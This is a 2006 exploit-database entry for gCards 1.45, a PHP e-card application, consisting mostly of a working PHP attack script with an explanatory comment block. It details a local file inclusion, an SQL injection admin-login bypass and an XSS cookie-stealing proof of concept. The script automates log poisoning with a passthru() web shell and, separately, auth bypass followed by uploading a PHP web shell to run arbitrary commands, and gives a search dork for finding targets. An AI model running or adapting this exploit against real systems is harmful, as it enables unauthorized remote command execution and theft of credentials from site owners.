gCards 1.45 - Multiple Vulnerabilities


Author:

rgod

Type:

webapps

Platform:

PHP

Published:

2006-03-20

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "gCards <= 1.45 multiple vulnerabilities\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "Sun-Tzu:\"At first, then, exhibit the coyness of a maiden, until the\r\n";
echo "enemy gives you an opening; afterwards emulate the rapidity of a\r\n";
echo "running hare, and it will be too late for the enemy to oppose you.\"\r\n";

echo "dork: \"powered by gcards\"\r\n\r\n";

/*

explaination:
software site: http://www.gregphoto.net/gcards/index.php

i) vulnerable code in inc/setLang.php:

<?
	if ($page->languageredirect == $_SERVER['PHP_SELF']) {
		if (isset($_GET['setLang'])) $_SESSION['setLang'] = $_GET['setLang'];
	}

	$langFile = $page->relpath.'inc/lang/'.$lang[$_SESSION['setLang']]['file'];

	if (file_exists($langFile)) {
		include_once($langFile);
	}
	else {
		echo "Could not find language file $langFile";
	}
?>

this code is included by main script, so ... arbitrary local inclusion, poc:

http://[target]/[path]/index.php?setLang=suntzu&lang[suntzu][file]=../../../../../../../../../../../var/log/httpd/access_log

this works regardless of any magic_quotes_gpc settings, apart open_basedir
restrictions obviously

ii) also we have SQL injection in admin authentication procedure, admin/loginfunction.php
at lines 28-38:

...
	$username = $_POST['username'];
	$userpass = $_POST['userpass'];
	if ($username && $userpass)
	{
		include('../inc/adodb/adodb.inc.php');	   # load code common to ADOdb
		include('../config.php');
		$ADODB_FETCH_MODE = ADODB_FETCH_ASSOC;
		$conn = &ADONewConnection('mysql');	# create a connection
		$conn->Connect($dbhost,$dbuser,$dbpass,$dbdatabase);
		$pass = md5($userpass);
		$sqlstmt = "SELECT role FROM ".$tablePrefix."cardusers WHERE username='$username' AND userpass='$pass'";
...

login as admin typing:

username: 'or'suntzu'='suntzu'/*
password: [whatever]

this works with magic_quotes_gpc=Off

once you are admin, you can upload php files, files are renamed but gcards keep
php extension, so you can launch commands from them

iii)xss:

http://[target]/[path]/index.php?setLang=suntzu&lang[suntzu][file]=%3Cscript%3Ealert(document.cookie)%3C/script%3E

this exploit does the dirty work for i) and ii)

                                                                              */
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path action cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to gcards\r\n";
echo "action:    1 - launch commands through arbitrary local inclusion\r\n";
echo "               (no php.ini restriction)\r\n";
echo "           2 - launch commands through sql injection/admin auth bypass\r\n";
echo "               (works with magic_quotes_gpc = Off\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /gcards/ 2 cat ./../config.php\r\n";
echo "php ".$argv[0]." localhost /gcards/ 1 cat config.php\r\n";
echo "php ".$argv[0]." localhost /gcards/ 1 cat config.php -p81\r\n";
echo "php ".$argv[0]." localhost /gcards/ 1 cat config.php -P1.1.1.1:80\r\n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$cmd="";$port=80;$proxy="";

for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "action selected -> ".$action."\r\n";
if ($action=="1")
{
  echo "[1] Injecting some code in log files...\r\n";
  $CODE ='<?php ob_clean();echo 666;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);}';
  $CODE.='passthru($_GET[cmd]);echo 666;die;?>';
  $packet.="GET ".$p.$CODE." HTTP/1.1\r\n";
  $packet.="User-Agent: ".$CODE."\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: close\r\n\r\n";
  #debug
  #echo quick_dump($packet);
  sendpacketii($packet);

  # fill with possible locations
  $paths= array (
  "../../../../../../../../../../var/log/httpd/access_log",
  "../../../../../../../../../../var/log/httpd/error_log",
  "../apache/logs/error.log",
  "../apache/logs/access.log",
  "../../apache/logs/error.log",
  "../../apache/logs/access.log",
  "../../../apache/logs/error.log",
  "../../../apache/logs/access.log",
  "../../../../apache/logs/error.log",
  "../../../../apache/logs/access.log",
  "../../../../../../../../../../etc/httpd/logs/acces_log",
  "../../../../../../../../../../etc/httpd/logs/acces.log",
  "../../../../../../../../../../etc/httpd/logs/error_log",
  "../../../../../../../../../../etc/httpd/logs/error.log",
  "../../../../../../../../../../var/www/logs/access_log",
  "../../../../../../../../../../var/www/logs/access.log",
  "../../../../../../../../../../usr/local/apache/logs/access_log",
  "../../../../../../../../../../usr/local/apache/logs/access.log",
  "../../../../../../../../../../var/log/apache/access_log",
  "../../../../../../../../../../var/log/apache/access.log",
  "../../../../../../../../../../var/log/access_log",
  "../../../../../../../../../../var/www/logs/error_log",
  "../../../../../../../../../../var/www/logs/error.log",
  "../../../../../../../../../../usr/local/apache/logs/error_log",
  "../../../../../../../../../../usr/local/apache/logs/error.log",
  "../../../../../../../../../../var/log/apache/error_log",
  "../../../../../../../../../../var/log/apache/error.log",
  "../../../../../../../../../../var/log/access_log",
  "../../../../../../../../../../var/log/error_log"
  );

  for ($i=0; $i<=count($paths)-1; $i++)
  {
    $j=$i+2;
    echo "[".$j."] Trying with ".$paths[$i]."\r\n";
    $xpl=urlencode($paths[$i]);
    $packet ="GET ".$p."index.php?cmd=".$cmd."&setLang=suntzu&lang[suntzu][file]=".$xpl." HTTP/1.0\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    #debug, shows packets in a nice format
    #echo quick_dump($packet);
    sendpacketii($packet);

    if (strstr($html,"666")){
      echo "Exploit succeeded...\r\n";
      $temp=explode("666",$html);
      echo $temp[1];
      die;
    }
  }

}
else
if ($action=="2")
{   echo "[1] Injecting some SQL statements in admin login username field...\r\n";
    $sql=urlencode("'or'suntzu'='suntzu'/*");
    $data="username=".$sql;
    $data.="&userpass=suntzu";
    $packet ="POST ".$p."admin/admin.php HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    #echo quick_dump($packet);
    sendpacketii($packet);
    if (strstr($html,"gCards Administration Console"))
    {echo "Sql injection succeeded...\r\n";}
    else
    {die("Not succeeded, maybe we have magic_quotes_gpc on here...\r\n");}
    $temp=explode("Set-Cookie: ",$html);
    $temp2=explode(" ",$temp[1]);
    $cookie=$temp2[0];
    echo "Cookie -> ".$cookie."\r\n";
    echo "[2] Let's retrieve a category name to upload a file in ...\r\n";
    $packet ="GET ".$p."admin/cards.php HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Cookie: ".$cookie."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    #echo quick_dump($packet);
    sendpacketii($packet);
    $temp=explode("<option value=\"",$html);
    $temp2=explode("\"",$temp[1]);
    $catid=$temp2[0];
    echo "catid -> ".$catid."\r\n";
    if ($catid=="") {$catid=1;}
    echo "[3] Uploading a php file...\r\n";
$data='-----------------------------7d613b1d0448
Content-Disposition: form-data; name="MAX_FILE_SIZE"

250000
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="cardname"

suntzu
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="catid"

'.$catid.'
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="userfile"; filename="suntzu.php"
Content-Type: application/octet-stream

<?php echo 666;ini_set("max_execution_time",0);passthru($_GET[cmd]);echo 666;?>
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="userthumb"; filename="suntzu.php"
Content-Type: application/octet-stream

<?php echo 666;ini_set("max_execution_time",0);passthru($_GET[cmd]);echo 666;?>
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="submit"

Upload
-----------------------------7d613b1d0448
';
    $packet ="POST ".$p."admin/upload.php HTTP/1.1\r\n";
    $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d613b1d0448\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Close\r\n";
    $packet.="Cookie: ".$cookie."\r\n\r\n";
    $packet.=$data;
    #echo quick_dump($packet);
    sendpacketii($packet);
    if (strstr($html,"successfully"))
    {echo "Succeeded...\r\n";}
    else
    {die("For some reason...Not succeeded\r\n");}
    echo "[4] Let's retrieve the new filename ...\r\n";
    $packet ="GET ".$p."admin/cards.php HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Cookie: ".$cookie."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    #echo quick_dump($packet);
    sendpacketii($packet);
    $temp=explode("suntzu.php",$html);
    $temp2=explode("<td>",$temp[count($temp)-2]);
    $temp=$temp2[count($temp2)-1];
    $newfile=$temp."suntzu.php";
    if ($newfile=="") {die("For some reason, exploit failed...");}
    echo "File renamed to: ".$newfile."\r\n";
    echo "[5] Launch commands ...\r\n";
    $packet ="GET ".$p."images/".$newfile."?cmd=".$cmd." HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    #echo quick_dump($packet);
    sendpacketii($packet);
    if (strstr($html,"666"))
     {
       echo "Exploit succeeded...\r\n";
       $temp=explode("666",$html);
       echo $temp[1];
       die;
     }
}
else
{die ("Wrong action...\r\n");}
//if you are here...
echo "Exploit failed...\r\n";
?>

# milw0rm.com [2006-03-20]